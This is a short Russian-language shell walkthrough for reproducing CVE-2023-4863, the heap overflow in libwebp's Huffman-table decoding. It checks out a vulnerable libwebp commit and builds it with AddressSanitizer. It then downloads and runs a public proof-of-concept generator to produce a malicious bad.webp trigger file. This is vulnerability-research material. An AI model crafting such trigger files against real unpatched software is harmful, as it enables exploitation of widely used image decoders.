
Эксплойт для проверки концепции уязвимости CVE-2023-4863, переполнение буфера в куче при декодировании таблицы Хаффмана в libwebp, сборка с AddressSanitizer и генерация триггерного файла.
# получение webp
git clone https://chromium.googlesource.com/webm/libwebp/ webp_test
cd webp_test/
# переключение на уязвимую версию
git checkout 7ba44f80f3b94fc0138db159afea770ef06532a0
# включение AddressSanitizer
sed -i 's/^EXTRA_FLAGS=.*/& -fsanitize=address/' makefile.unix
# сборка webp
make -f makefile.unix
cd examples/
# загрузка proof-of-concept кода от mistymntncop
wget https://raw.githubusercontent.com/mistymntncop/CVE-2023-4863/main/craft.c
# сборка и запуск proof-of-concept
gcc -o craft craft.c
./craft bad.webp
# тестирование файла триггера
./dwebp bad.webp -o test.png